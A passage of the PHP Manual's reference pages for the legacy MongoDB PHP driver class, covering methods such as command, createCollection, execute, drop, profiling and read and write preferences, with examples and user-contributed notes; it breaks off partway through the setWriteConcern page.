$c->insert(array("name" => "Venus", "desc" => "Venus is the second planet from the Sun, orbiting it every 224.7 Earth days."));
$c->insert(array("name" => "Earth", "desc" => "Earth is the densest of the eight planets in the Solar System."));
$c->insert(array("name" => "Mars", "desc" => "Mars is named after the Roman god of war."));

$c->ensureIndex(array('desc' => 'text'));

$r = $d->command(array("text" => "planets", 'search' => "sun" ));
print_r($r);
?>

The above example will output something similar to:

Array
(
[queryDebugString] => sun||||||
[language] => english
[results] => Array
(
[0] => Array
(
[score] => 0.625
[obj] => Array
(
[_id] => MongoId Object
(
[$id] => 517549d944670a4a5cb3059a
)

[name] => Mercury
[desc] => Mercury is the smallest and closest to the Sun
)

)

[1] => Array
(
[score] => 0.55
[obj] => Array
(
[_id] => MongoId Object
(
[$id] => 517549d944670a4a5cb3059b
)

[name] => Venus
[desc] => Venus is the second planet from the Sun, orbiting it every 224.7 Earth days.
)

)

)

[stats] => Array
(
[nscanned] => 2
[nscannedObjects] => 0
[n] => 2
[nfound] => 2
[timeMicros] => 95
)

[ok] => 1
)

Example #5 MongoDB::command() "geoNear" example

This example shows how to use the geoNear command.

<?php
$m = new MongoClient();
$d = $m->demo;
$c = $d->poiConcat;

$r = $d->command(array(
    'geoNear' => "poiConcat",      // Search in the poiConcat collection
    'near' => array(-0.08, 51.48), // Search near 51.48°N, 0.08°E
    'spherical' => true,           // Enable spherical search
    'num' => 5,                    // Maximum 5 returned documents
));
print_r($r);
?>

See Also

  • MongoCollection::aggregate() - Perform an aggregation using the aggregation framework
  • MongoCollection::findAndModify() - Update a document and return it
  • MongoCollection::group() - Performs an operation similar to SQL's GROUP BY command

MongoDB core docs on » database commands and on individual commands: » findAndModify, » getLastError, and » repairDatabase (dozens more exist, there are merely a few examples).

User Contributed Notes

nanhe dot kumar at gmail dot com 22-Aug-2013 06:41
$db=new new Mongo();

Copy old_db to new_db

$responseCopy = $db->admin->command(array(
    'copydb' => 1,
    'fromhost' => 'localhost',
    'fromdb' => 'old_db',
    'todb' =>'new_db'
    ));

Now drop old_db

if($responseCopy['ok']==1){
 $responseDrop=$db->old_db->command(array('dropDatabase' => 1));
 //OR
 $responseDrop =$db->old_db->drop();
}

Show Output

print_r($responseCopy);
print_r($responseDrop);

Output will be something like this

Array ( [ok] => 1 )
Array ( [dropped] => old_db [ok] => 1 )
mcuadros at gmail dot com 09-Apr-2013 08:13
Command of Mongo 2.4 Text Search feature.

<?php
$result = $db->command(
    array(
        'text' => 'bar', //this is the name of the collection where we are searching
        'search' => 'hotel', //the string to search
        'limit' => 5, //the number of results, by default is 1000
        'project' => Array( //the fields to retrieve from db
            'title' => 1
        )
    )
);
Anonymous 08-Jun-2011 01:18
> Need to know the database version? There's a command for that.

We didn't find it - ended up using either;

<?php
$m = new Mongo();

$adminDB = $m->admin; //require admin priviledge

$mongodb_info = $adminDB->command(array('buildinfo'=>true));
$mongodb_version = $mongodb_info['version'];

print_r($mongodb_info);
?>

or

<?php
$v = `mongo --version`;
print_r($v);
?>
roman dot drapeko at gmail dot com 16-Apr-2011 11:07
I tried to write MapReduce. Unfortunately, out => array('replace' => 'collName') did not work for me. Instead, the below code works

<?php
$mongo->command(array(
     'mapreduce' => 'events',
     'map' => $map,
     'reduce' => $reduce,
     'out' => 'mapReduceEventStats'
));
?>
Min He 21-Jul-2010 01:31
rename a collection:

<?php
$m = new Mongo();
$adminDB = $m->admin; //require admin priviledge

//rename collection 'colA' in db 'yourdbA' to collection 'colB' in another db 'yourdbB'

$res = $adminDB->command(array(
    "renameCollection" => "yourdbA.colA",
    "to" => "yourdbB.colB"
));

var_dump($res);
?>


Creates a new database

  • « MongoDB::command
  • MongoDB::createCollection »
  • PHP Manual
  • MongoDB
  • Creates a new database

MongoDB::__construct

(PECL mongo >=0.9.0)

MongoDB::__construct — Creates a new database

Description

public MongoDB::__construct ( MongoClient $conn , string $name )

This method is not meant to be called directly. The preferred way to create an instance of MongoDB is through MongoClient::__get() or MongoClient::selectDB().

If you're ignoring the previous paragraph and want to call it directly you can do so:

<?php

$m = new MongoClient();
$db = new MongoDB($m, 'mydbname');

?>

But don't. Isn't this much nicer:

<?php

$m = new MongoClient();
$db = $m->mydbname;

// or, if the name contains weird characters:

$db = $m->selectDB('my,db:name');

?>

Parameters

MongoClient conn

Database connection.

name

Database name.

Return Values

Returns the database.

Errors/Exceptions

Throws default exception if the database name is invalid.

User Contributed Notes

mike at eastghost dot com 04-Mar-2014 08:58
To use DICE (Dependency Injection Container) you'll need to use this format

// $Mongo = new \MongoClient( arrConnectionOptions );
// $Mdb = new \MongoDB( $Mongo, 'dbName' );
$dice->create( '\Mongo' );
$dice->create( '\Mdb' );

and not this one

$Mdb = $Mongo->dbName;


Creates a collection

  • « MongoDB::__construct
  • MongoDB::createDBRef »
  • PHP Manual
  • MongoDB
  • Creates a collection

MongoDB::createCollection

(PECL mongo >=0.9.0)

MongoDB::createCollection — Creates a collection

Description

public MongoCollection MongoDB::createCollection ( string $name [, array $options ] )

This method is used to create capped collections and other collections requiring special options. It is identical to running:

<?php

$collection = $db->command(array(
    "create" => $name,
    "capped" => $options["capped"],
    "size" => $options["size"],
    "max" => $options["max"],
    "autoIndexId" => $options["autoIndexId"],
));

?>
See MongoDB::command() for more information about database commands.

Parameters

name

The name of the collection.

options

An array containing options for the collections. Each option is its own element in the options array, with the option name listed below being the key of the element. The supported options depend on the MongoDB server version. At the moment, the following options are supported:

capped

If the collection should be a fixed size.

size

If the collection is fixed size, its size in bytes.

max

If the collection is fixed size, the maximum number of elements to store in the collection.

autoIndexId

If capped is TRUE you can specify FALSE to disable the automatic index created on the _id field. Before MongoDB 2.2, the default value for autoIndexId was FALSE.

Return Values

Returns a collection object representing the new collection.

Examples

Example #1 MongoDB::createCollection() capped collection example

A capped collection is a special type of collection that has either a fixed or a fixed number of elements. Once the collection is "full," the oldest elements will be removed when new elements are added. Capped collections can be very useful for applications like logging, where you may want to reserve a certain amount of space for logs and not worry about them getting too big.

This example creates a very tiny log collection that will keep a maximum of 10 documents.

<?php

$log = $db->createCollection(
    "logger",
    array(
        'capped' => true,
        'size' => 10*1024,
        'max' => 10
    )
);

for ($i = 0; $i < 100; $i++) {
    $log->insert(array("level" => WARN, "msg" => "sample log message #$i", "ts" => new MongoDate()));
}

$msgs = $log->find();

foreach ($msgs as $msg) {
    echo $msg['msg']."\n";
}

?>

The above example will output something similar to:

sample log message #90
sample log message #91
sample log message #92
sample log message #93
sample log message #94
sample log message #95
sample log message #96
sample log message #97
sample log message #98
sample log message #99

Changelog

Version Description
1.4.0

In versions before 1.4.0, the options were all arguments to the method. The function synopsis in those older versions is:

public MongoCollection MongoDB::createCollection ( string $name [, bool $capped = FALSE [, int $size = 0 [, int $max = 0 ]]] )

The meaning of the options is the same as described under the options argument above.

User Contributed Notes

There are no user contributed notes for this page.


Creates a database reference

  • « MongoDB::createCollection
  • MongoDB::drop »
  • PHP Manual
  • MongoDB
  • Creates a database reference

MongoDB::createDBRef

(PECL mongo >=0.9.0)

MongoDB::createDBRef — Creates a database reference

Description

public array MongoDB::createDBRef ( string $collection , mixed $document_or_id )

This method is a flexible interface for creating database refrences (see MongoDBRef).

Parameters

collection

The collection to which the database reference will point.

document_or_id

If an array or object is given, its _id field will be used as the reference ID. If a MongoId or scalar is given, it will be used as the reference ID.

Return Values

Returns a database reference array.

If an array without an _id field was provided as the document_or_id parameter, NULL will be returned.

Examples

Example #1 MongoDB::createDBRef() example

Example demonstrating how to programatically create a DB reference array from a document.

<?php

$articles = $db->articles;

$article = array(
 'title' => 'Test article',
 'description' => 'Test article description'
);

$articles->insert($article);
$ref = $db->createDBRef('articles', $article);

print_r($article);
print_r($ref);
?>

The above example will output something similar to:

     Array
     (
         [title] => Test article
         [description] => Test article description
         [_id] => MongoId Object
             (
             )

     )
     Array
     (
         [$ref] => articles
         [$id] => MongoId Object
             (
             )

     )

Now the $ref can be stored on another document and retrieved later with MongoDB::getDBRef() or MongoCollection::getDBRef().

Example #2 MongoDB::createDBRef() example

Example demonstrating how to programatically create a DB reference from just an id.

<?php

$id = new MongoId('47cc67093475061e3d9536d2');
$ref = $db->createDBRef('articles', $id);
?>

User Contributed Notes

There are no user contributed notes for this page.


Drops this database

  • « MongoDB::createDBRef
  • MongoDB::dropCollection »
  • PHP Manual
  • MongoDB
  • Drops this database

MongoDB::drop

(PECL mongo >=0.9.0)

MongoDB::drop — Drops this database

Description

public array MongoDB::drop ( void )

This drops the database currently being used.

This is identical to running:

<?php

public function drop() {
    $this->command(array("dropDatabase" => 1));
}

?>

Parameters

This function has no parameters.

Return Values

Returns the database response.

Examples

Example #1 MongoDB::drop() example

This example demonstrates how to drop a mongo database and the response to expect.

<?php

$db = $mongo->foo;
$response = $db->drop();
print_r($response);

?>

The above example will output something similar to:

Array
(
    [dropped] => foo.$cmd
    [ok] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Drops a collection [deprecated]

  • « MongoDB::drop
  • MongoDB::execute »
  • PHP Manual
  • MongoDB
  • Drops a collection [deprecated]

MongoDB::dropCollection

(PECL mongo >=0.9.0)

MongoDB::dropCollection — Drops a collection [deprecated]

Description

public array MongoDB::dropCollection ( mixed $coll )
Warning

Deprecated

Use MongoCollection::drop() instead.

This function leaks memory in version 1.0.7 and earlier!

Parameters

coll

MongoCollection or name of collection to drop.

Return Values

Returns the database response.

User Contributed Notes

There are no user contributed notes for this page.


Runs JavaScript code on the database server.

  • « MongoDB::dropCollection
  • MongoDB::forceError »
  • PHP Manual
  • MongoDB
  • Runs JavaScript code on the database server.

MongoDB::execute

(PECL mongo >=0.9.3)

MongoDB::execute — Runs JavaScript code on the database server.

Description

public array MongoDB::execute ( mixed $code [, array $args = array() ] )

The Mongo database server runs a JavaScript engine. This method allows you to run arbitary JavaScript on the database. This can be useful if you want touch a number of collections lightly, or process some results on the database side to reduce the amount that has to be sent to the client.

Running JavaScript in the database takes a write lock, meaning it blocks other operations. Make sure you consider this before running a long script.

This is a wrapper for a database command. This method is basically:

<?php

public function execute($code, $args) {
    return $this->command(array('$eval' => $code, 'args' => $args));
}

?>

MongoDB implies a return statement if you have a single statement on a single line. This can cause some unintuitive behavior. For example, this returns "foo":

<?php

$db->execute('"foo";');

?>

However, these return NULL:

<?php

$db->execute('"bar"; "foo";'); // more than one statement

$db->execute('db.foo.count(
);'); // more than one line

?>

To avoid surprising behavior, it is best not to depend on MongoDB to decide what to return, but to explicitly state a return value. In the examples above, we can change them to:

<?php

$db->execute('"bar"; return "foo";');

$db->execute('return db.foo.count(
);');

?>

Now the first statement will return "foo" and the second statement will return a count of the "foo" collection.

Parameters

code

MongoCode or string to execute.

args

Arguments to be passed to code.

Return Values

Returns the result of the evaluation.

Examples

Example #1 Simple MongoDB::execute() example

<?php

$response = $db->execute("function() { return 'Hello, world!'; }");
echo $response['retval'];

?>

The above example will output something similar to:

Hello, world!

Example #2 Parameter MongoDB::execute() example

The optional array of parameters will be passed to the JavaScript function.

<?php

$response = $db->execute("function(greeting, name) { return greeting+', '+name+'!'; }", array("Good bye", "Joe"));
echo $response['retval'];

?>

The above example will output something similar to:

Good bye, Joe!

Example #3 Scope example

If a MongoCode object is used instead of a string for the first parameter, a scope can be passed in which the JavaScript will be executed.

<?php

$func =
    "function(greeting, name) { ".
        "return greeting+', '+name+', says '+greeter;".
    "}";
$scope = array("greeter" => "Fred");

$code = new MongoCode($func, $scope);

$response = $db->execute($code, array("Goodbye", "Joe"));
echo $response['retval'];

?>

The above example will output something similar to:

Goodbye, Joe, says Fred

User Contributed Notes

Nanhe Kumar 17-Nov-2013 05:00
$m = new MongoClient();
        $db = $m->test;

        $inset = "db.getCollection('foo').insert({'name':'nanhe','age':30});";
        $response = $db->execute($inset);
        print_r($response); //Array ( [retval] => [ok] => 1 )

        $response = $m->test->execute("db.getCollection('foo').insert({'name':'happy','age':18});");
        print_r($response); //Array ( [retval] => [ok] => 1 )

        $response = $m->test->execute("db.foo.insert({'name':'prince','age':16});");
        print_r($response); //Array ( [retval] => [ok] => 1 )

        $response= $m->test->execute("return db.foo.count();");
        print_r($response); //Array ( [retval] => 3 [ok] => 1 )

        $response= $m->test->execute("return db.foo.findOne();");
        print_r($response); //Array ( [retval] => Array ( [_id] => MongoId Object ( [$id] => 5287ccbe60e2eac9a0e2f1c6 ) [name] => nanhe [age] => 30 ) [ok] => 1 )

        /*
         * If you want use find function then use toArray because The find() function returns a cursor, which can't be returned from JavaScript.
         */
        $response= $m->test->execute("return db.foo.find().toArray();");
        print_r($response); //[$id] => 5287cd2260e2eac9a0e2f1ca ) [name] => happy [age] => 18 ) [2] => Array ( [_id] => MongoId Object ( [$id] => 5287cd2260e2eac9a0e2f1cb ) [name] => prince [age] => 16 ) [3] => Array ( [_id] => MongoId Object ( [$id] => 5287cdea60e2eac9a0e2f1cc ) [name] => nanhe [age] => 30 ) [4] => Array ( [_id] => MongoId Object ( [$id] => 5287cdea60e2eac9a0e2f1cd ) [name] => happy [age] => 18 ) [5] => Array ( [_id] => MongoId Object ( [$id] => 5287cdea60e2eac9a0e2f1ce ) [name] => prince [age] => 16 ) ) [ok] => 1 )

        $response= $m->test->execute("return db.foo.find({'name':'nanhe'}).toArray();");
        print_r($response); //Array ( [retval] => Array ( [0] => Array ( [_id] => MongoId Object ( [$id] => 5287ce9b60e2eac9a0e2f1d2 ) [name] => nanhe [age] => 30 ) ) [ok] => 1 )
        // $id value will be different in your case
nodkz at mail ru 06-Jun-2012 11:14
In 1.7.2, a nolock option was added to eval. To use nolock you have to use the command interface directly:

db.runCommand({$eval: function() {return 42;}, nolock: true})

or with args

db.runCommand({$eval: function(x,y) {return x*y;}, args: [6,7], nolock: true})


Creates a database error

  • « MongoDB::execute
  • MongoDB::__get »
  • PHP Manual
  • MongoDB
  • Creates a database error

MongoDB::forceError

(PECL mongo >=0.9.5)

MongoDB::forceError — Creates a database error

Description

public bool MongoDB::forceError ( void )

This method is not very useful for normal MongoDB use. It forces a database error to occur. This means that MongoDB::lastError() will return a generic database error after running this command.

This command is identical to running:

<?php

public function forceError() {
    return $this->command(array('forceerror' => 1));
}

?>

Parameters

This function has no parameters.

Return Values

Returns the database response.

Changelog

Version | Description
1.2.11 | Emits E_DEPRECATED when used.

User Contributed Notes

There are no user contributed notes for this page.


Gets a collection

  • « MongoDB::forceError
  • MongoDB::getCollectionNames »
  • PHP Manual
  • MongoDB
  • Gets a collection

MongoDB::__get

(PECL mongo >=1.0.2)

MongoDB::__get — Gets a collection

Description

public MongoCollection MongoDB::__get ( string $name )

This is the easiest way of getting a collection from a database object. If a collection name contains strange characters, you may have to use MongoDB::selectCollection() instead.

<?php

$mongo = new MongoClient();

// the following two lines are equivalent
$collection = $mongo->selectDB("foo")->selectCollection("bar");
$collection = $mongo->foo->bar;

?>

Parameters

name

The name of the collection.

Return Values

Returns the collection.

User Contributed Notes

There are no user contributed notes for this page.


Get all collections from this database

  • « MongoDB::__get
  • MongoDB::getDBRef »
  • PHP Manual
  • MongoDB
  • Get all collections from this database

MongoDB::getCollectionNames

(PECL mongo >=1.3.0)

MongoDB::getCollectionNames — Get all collections from this database

Description

public array MongoDB::getCollectionNames ([ bool $includeSystemCollections = false ] )

Returns an array of all the collection names for the given database.

Parameters

includeSystemCollections

Include system collections.

Return Values

Returns the names of the all the collections in the database as an array.

Examples

Example #1 MongoDB::getCollectionNames() example

<?php
$m = new MongoClient;
$collections = $m->selectDB("demo")->getCollectionNames();

foreach ($collections as $collectionName) {
    echo "Found collection: ", $collectionName, "\n";
}
?>

The above example will output something similar to:

...
Found collection: img
Found collection: beer
Found collection: collation
...

See Also

  • MongoDB::listCollections() - Gets an array of all MongoCollections for this database

User Contributed Notes

There are no user contributed notes for this page.


Fetches the document pointed to by a database reference

  • « MongoDB::getCollectionNames
  • MongoDB::getGridFS »
  • PHP Manual
  • MongoDB
  • Fetches the document pointed to by a database reference

MongoDB::getDBRef

(PECL mongo >=0.9.0)

MongoDB::getDBRef — Fetches the document pointed to by a database reference

Description

public array MongoDB::getDBRef ( array $ref )

Parameters

ref

A database reference.

Return Values

Returns the document pointed to by the reference.

Examples

Example #1 MongoDB::getDBRef() example

Example demonstrating how to get a database reference and what the expected input is.

<?php

 $ref = array(
   '$ref' => 'profiles',
   '$id' => new MongoId('47cc67093475061e3d9536d2')
 );

 $profile = $db->getDBRef($ref);
 ?>

See MongoDB::createDBRef() for more information about how to programatically create DB references.

User Contributed Notes

There are no user contributed notes for this page.


Fetches toolkit for dealing with files stored in this database

  • « MongoDB::getDBRef
  • MongoDB::getProfilingLevel »
  • PHP Manual
  • MongoDB
  • Fetches toolkit for dealing with files stored in this database

MongoDB::getGridFS

(PECL mongo >=0.9.0)

MongoDB::getGridFS — Fetches toolkit for dealing with files stored in this database

Description

public MongoGridFS MongoDB::getGridFS ([ string $prefix = "fs" ] )

Parameters

prefix

The prefix for the files and chunks collections.

Return Values

Returns a new gridfs object for this database.

Examples

Example #1 MongoDB::getGridFS() example

This example demonstrates how get a MongoGridFS instance.

<?php

$db = $mongo->my_db;

$prefix = 'files';
$collection = $db->getGridFS($prefix);

?>

Read more about the MongoGridFS to learn how to store files with MongoDB.

User Contributed Notes

There are no user contributed notes for this page.


Gets this database's profiling level

  • « MongoDB::getGridFS
  • MongoDB::getReadPreference »
  • PHP Manual
  • MongoDB
  • Gets this database's profiling level

MongoDB::getProfilingLevel

(PECL mongo >=0.9.0)

MongoDB::getProfilingLevel — Gets this database's profiling level

Description

public int MongoDB::getProfilingLevel ( void )

This returns the current database profiling level.

The database profiler tracks query execution times. If you turn it on (say, using MongoDB::setProfilingLevel() or the shell), you can see how many queries took longer than a given number of milliseconds or the timing for all queries.

Note that profiling slows down queries, so it is better to use in development or testing than in a time-sensitive application.

This function is equivalent to running:

<?php

public function getProfilingLevel() {
    return $this->command(array('profile' => -1));
}

?>

Parameters

This function has no parameters.

Return Values

Returns the profiling level.

See Also

  • MongoDB core docs on » profiling
  • MongoDB::setProfilingLevel() - Sets this database's profiling level

User Contributed Notes

There are no user contributed notes for this page.


Get the read preference for this database

  • « MongoDB::getProfilingLevel
  • MongoDB::getSlaveOkay »
  • PHP Manual
  • MongoDB
  • Get the read preference for this database

MongoDB::getReadPreference

(PECL mongo >=1.3.0)

MongoDB::getReadPreference — Get the read preference for this database

Description

public array MongoDB::getReadPreference ( void )

Parameters

This function has no parameters.

Return Values

This function returns an array describing the read preference. The array contains the values type for the string read preference mode (corresponding to the MongoClient constants), and tagsets containing a list of all tag set criteria. If no tag sets were specified, tagsets will not be present in the array.

Changelog

Version | Description
1.3.3 | The return value has changed to be consistent with MongoDB::setReadPreference(). The type value was changed from a number to a string, type_string was removed, and tagsets now expresses tags as key/value pairs instead of colon-delimited strings.

Examples

Example #1 MongoDB::getReadPreference() return value example

<?php

$m = new MongoClient();
$db = $m->test;
$db->setReadPreference(MongoClient::RP_SECONDARY, array(
    array('dc' => 'east', 'use' => 'reporting'),
    array('dc' => 'west'),
    array(),
));
var_dump($db->getReadPreference());
?>

The above example will output:

array(2) {
  ["type"]=>
  string(9) "secondary"
  ["tagsets"]=>
  array(3) {
    [0]=>
    array(2) {
      ["dc"]=>
      string(4) "east"
      ["use"]=>
      string(9) "reporting"
    }
    [1]=>
    array(1) {
      ["dc"]=>
      string(7) "west"
    }
    [2]=>
    array(0) {
    }
  }
}

See Also

  • The read preferences documentation.
  • MongoDB::setReadPreference() - Set the read preference for this database

User Contributed Notes

There are no user contributed notes for this page.


Get slaveOkay setting for this database

  • « MongoDB::getReadPreference
  • MongoDB::getWriteConcern »
  • PHP Manual
  • MongoDB
  • Get slaveOkay setting for this database

MongoDB::getSlaveOkay

(PECL mongo >=1.1.0)

MongoDB::getSlaveOkay — Get slaveOkay setting for this database

Description

public bool MongoDB::getSlaveOkay ( void )

See the query section of this manual for information on distributing reads to secondaries.

Parameters

This function has no parameters.

Return Values

Returns the value of slaveOkay for this instance.

Changelog

Version | Description
1.2.11 | Emits E_DEPRECATED when used.

See Also

  • Read Preferences
  • MongoDB::getReadPreference() - Get the read preference for this database
  • MongoDB::setReadPreference() - Set the read preference for this database

User Contributed Notes

There are no user contributed notes for this page.


Get the write concern for this database

  • « MongoDB::getSlaveOkay
  • MongoDB::lastError »
  • PHP Manual
  • MongoDB
  • Get the write concern for this database

MongoDB::getWriteConcern

(PECL mongo >=1.5.0)

MongoDB::getWriteConcern — Get the write concern for this database

Description

public array MongoDB::getWriteConcern ( void )

Parameters

This function has no parameters.

Return Values

This function returns an array describing the write concern. The array contains the values w for an integer acknowledgement level or string mode, and wtimeout denoting the maximum number of milliseconds to wait for the server to satisfy the write concern.

Examples

Example #1 MongoDB::getWriteConcern() return value example

<?php

$mc = new MongoClient('mongodb://localhost:27017', array('wTimeoutMS' => 500));
$db = $mc->selectDB('test');
var_dump($db->getWriteConcern());

$db->setWriteConcern(1, 1000);
var_dump($db->getWriteConcern());
?>

The above example will output:

array(2) {
  ["w"]=>
  int(1)
  ["wtimeout"]=>
  int(500)
}
array(2) {
  ["w"]=>
  int(1)
  ["wtimeout"]=>
  int(1000)
}

See Also

  • The write concern documentation.
  • MongoDB::setWriteConcern() - Set the write concern for this database

User Contributed Notes

There are no user contributed notes for this page.


Check if there was an error on the most recent db operation performed

  • « MongoDB::getWriteConcern
  • MongoDB::listCollections »
  • PHP Manual
  • MongoDB
  • Check if there was an error on the most recent db operation performed

MongoDB::lastError

(PECL mongo >=0.9.5)

MongoDB::lastError — Check if there was an error on the most recent db operation performed

Description

public array MongoDB::lastError ( void )

This method is equivalent to:

<?php

public function lastError() {
    return $this->command(array('getlasterror' => 1));
}

?>

Parameters

This function has no parameters.

Return Values

Returns the error, if there was one.

Examples

Example #1 MongoDB::lastError() NULL error example

<?php
$db->resetError();
var_dump($db->lastError());
?>

The above example will output something similar to:

array(3) {
  ["err"]=>
  NULL
  ["n"]=>
  int(0)
  ["ok"]=>
  float(1)
}

Example #2 MongoDB::lastError() duplicate key example

<?php
$c = $db->selectCollection("foo");

// insert two documents with the same _id
$c->insert(array("_id" => 1));
$c->insert(array("_id" => 1));

var_dump($db->lastError());
?>

The above example will output something similar to:

array(3) {
  ["err"]=>
  string(64) "E11000 duplicate key errorindex: foo.foo.$_id_  dup key: { : 1 }"
  ["n"]=>
  int(0)
  ["ok"]=>
  float(1)
}

User Contributed Notes

There are no user contributed notes for this page.


Gets an array of all MongoCollections for this database

  • « MongoDB::lastError
  • MongoDB::prevError »
  • PHP Manual
  • MongoDB
  • Gets an array of all MongoCollections for this database

MongoDB::listCollections

(PECL mongo >=0.9.0)

MongoDB::listCollections — Gets an array of all MongoCollections for this database

Description

public array MongoDB::listCollections ([ bool $includeSystemCollections = false ] )

Gets a list of all the collections in the database and returns them as an array of MongoCollection objects.

Parameters

includeSystemCollections

Include system collections.

Return Values

Returns an array of MongoCollection objects.

Changelog

Version | Description
1.3.0 | Added the includeSystemCollections parameter.

Examples

Example #1 MongoDB::listCollections() example

The following example demonstrates running count on each collection in a database.

<?php

$m = new MongoClient();
$db = $m->selectDB("demo");

$list = $db->listCollections();
foreach ($list as $collection) {
    echo "amount of documents in $collection: ";
    echo $collection->count(), "\n";
}

?>

The above example will output something similar to:

...
amount of documents in demo.pubs: 4
amount of documents in demo.elephpants: 3
amount of documents in demo.cities: 22840
...

See Also

  • MongoDB::getCollectionNames() - Get all collections from this database

User Contributed Notes

George Gombay 03-Jun-2014 05:53
For an alternative to the shell command 'show dbs', refer to my note for the listDBs() method of Mongoclient(), which reproduces some simple PHP code that will yield the names of all database present.


Checks for the last error thrown during a database operation

  • « MongoDB::listCollections
  • MongoDB::repair »
  • PHP Manual
  • MongoDB
  • Checks for the last error thrown during a database operation

MongoDB::prevError

(PECL mongo >=0.9.5)

MongoDB::prevError — Checks for the last error thrown during a database operation

Description

public array MongoDB::prevError ( void )

MongoDB::lastError() is usually preferred to this. This method returns the last database error that occurred and how many operations ago it occurred. It is mostly deprecated.

Parameters

This function has no parameters.

Return Values

Returns the error and the number of operations ago it occurred.

Changelog

Version | Description
1.2.11 | Emits E_DEPRECATED when used.

User Contributed Notes

There are no user contributed notes for this page.


Repairs and compacts this database

  • « MongoDB::prevError
  • MongoDB::resetError »
  • PHP Manual
  • MongoDB
  • Repairs and compacts this database

MongoDB::repair

(PECL mongo >=0.9.0)

MongoDB::repair — Repairs and compacts this database

Description

public array MongoDB::repair ([ bool $preserve_cloned_files = FALSE [, bool $backup_original_files = FALSE ]] )

This creates a fresh copy of all database data. It will remove any corrupt data and compact and large stretches of free space it finds. This is a very slow operation on a large database.

This is usually run from the shell or the command line, not the driver.

It is equivalent to the function:

<?php

public function repair() {
    return $this->command(array('repairDatabase' => 1));
}

?>

Parameters

preserve_cloned_files

If cloned files should be kept if the repair fails.

backup_original_files

If original files should be backed up.

Return Values

Returns db response.

See Also

MongoDB core docs on » repairDatabase.

Examples

Example #1 MongoDB::repair() example

This example demonstrates how to repare and compact a database.

<?php

$db = $mongo->foo;

$response = $db->repair();
print_r($response);

?>

The above example will output something similar to:

Array
(
    [ok] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Clears any flagged errors on the database

  • « MongoDB::repair
  • MongoDB::selectCollection »
  • PHP Manual
  • MongoDB
  • Clears any flagged errors on the database

MongoDB::resetError

(PECL mongo >=0.9.5)

MongoDB::resetError — Clears any flagged errors on the database

Description

public array MongoDB::resetError ( void )

This method is not used in normal operations. It resets the database error tracker (which can be incremented with MongoDB::forceError(), also not normally used).

It is equivalent to running:

<?php

public function resetError() {
    return $this->command(array('reseterror' => 1));
}

?>

Parameters

This function has no parameters.

Return Values

Returns the database response.

Changelog

Version | Description
1.2.11 | Emits E_DEPRECATED when used.

User Contributed Notes

There are no user contributed notes for this page.


Gets a collection

  • « MongoDB::resetError
  • MongoDB::setProfilingLevel »
  • PHP Manual
  • MongoDB
  • Gets a collection

MongoDB::selectCollection

(PECL mongo >=0.9.0)

MongoDB::selectCollection — Gets a collection

Description

public MongoCollection MongoDB::selectCollection ( string $name )

Parameters

name

The collection name.

Return Values

Returns a new collection object.

Errors/Exceptions

Throws Exception if the collection name is invalid.

User Contributed Notes

asuquo dot ulo at techxion dot com 06-Sep-2014 03:33
A simple script that selects a db and collection.

$m = new MongoClient();
   echo "Connection to database successfully<br>";
   // select a database
   $db = $m->test;
   echo "Database test selected<br>";
//select a Collection
   $collection = $db->selectCollection("member");
   echo "Collection member selected succsessfully<br>";

?>


Sets this database's profiling level

  • « MongoDB::selectCollection
  • MongoDB::setReadPreference »
  • PHP Manual
  • MongoDB
  • Sets this database's profiling level

MongoDB::setProfilingLevel

(PECL mongo >=0.9.0)

MongoDB::setProfilingLevel — Sets this database's profiling level

Description

public int MongoDB::setProfilingLevel ( int $level )

This changes the current database profiling level.

This function is equivalent to running:

<?php

public function setProfilingLevel($level) {
    return $this->command(array('profile' => $level));
}

?>

The options for level are 0 (off), 1 (queries > 100ms), and 2 (all queries). If you would like to profile queries that take longer than another time period, use the database command and pass it a second option, the number of milliseconds. For example, to profile all queries that take longer than one second, run:

<?php

$result = $this->command(array('profile' => 1, 'slowms' => 1000));

?>

Profiled queries will appear in the system.profile collection of this database.

Parameters

level

Profiling level.

Return Values

Returns the previous profiling level.

See Also

  • MongoDB core docs on » profiling
  • MongoDB::getProfilingLevel() - Gets this database's profiling level

User Contributed Notes

There are no user contributed notes for this page.


Set the read preference for this database

  • « MongoDB::setProfilingLevel
  • MongoDB::setSlaveOkay »
  • PHP Manual
  • MongoDB
  • Set the read preference for this database

MongoDB::setReadPreference

(PECL mongo >=1.3.0)

MongoDB::setReadPreference — Set the read preference for this database

Description

public bool MongoDB::setReadPreference ( string $read_preference [, array $tags ] )

Parameters

read_preference

The read preference mode: MongoClient::RP_PRIMARY, MongoClient::RP_PRIMARY_PREFERRED, MongoClient::RP_SECONDARY, MongoClient::RP_SECONDARY_PREFERRED, or MongoClient::RP_NEAREST.

tags

An array of zero or more tag sets, where each tag set is itself an array of criteria used to match tags on replica set members.

Return Values

Returns TRUE on success, or FALSE otherwise.

Errors/Exceptions

Emits E_WARNING if either parameter is invalid, or if one or more tag sets are provided with the MongoClient::RP_PRIMARY read preference mode.

Examples

Example #1 MongoDB::setReadPreference() tag set array syntax example

<?php

$m = new MongoClient();
$db = $m->test;

// Prefer the nearest server in the "east" data center also used for reporting,
// but fall back to a server in the "west" data center
$db->setReadPreference(MongoClient::RP_NEAREST, array(
    array('dc' => 'east', 'use' => 'reporting'),
    array('dc' => 'west'),
));
?>

See Also

  • The read preferences documentation.
  • MongoDB::getReadPreference() - Get the read preference for this database

User Contributed Notes

There are no user contributed notes for this page.


Change slaveOkay setting for this database

  • « MongoDB::setReadPreference
  • MongoDB::setWriteConcern »
  • PHP Manual
  • MongoDB
  • Change slaveOkay setting for this database

MongoDB::setSlaveOkay

(PECL mongo >=1.1.0)

MongoDB::setSlaveOkay — Change slaveOkay setting for this database

Description

public bool MongoDB::setSlaveOkay ([ bool $ok = true ] )

See the query section of this manual for information on distributing reads to secondaries.

Parameters

ok

If reads should be sent to secondary members of a replica set for all possible queries using this MongoDB instance.

Return Values

Returns the former value of slaveOkay for this instance.

Changelog

Version | Description
1.2.11 | Emits E_DEPRECATED when used.

See Also

  • Read Preferences
  • MongoDB::setReadPreference() - Set the read preference for this database
  • MongoDB::getReadPreference() - Get the read preference for this database

User Contributed Notes

There are no user contributed notes for this page.


Set the write concern for this database

  • « MongoDB::setSlaveOkay
  • MongoDB::__toString »
  • PHP Manual
  • MongoDB
  • Set the write concern for this database

MongoDB::setWriteConcern

(PECL mongo >=1.5.0)

MongoDB::setWriteConcern — Set the write concern for this database

Description

public bool MongoDB::setWriteConcern ( mixed $w [, int $wtimeout ] )

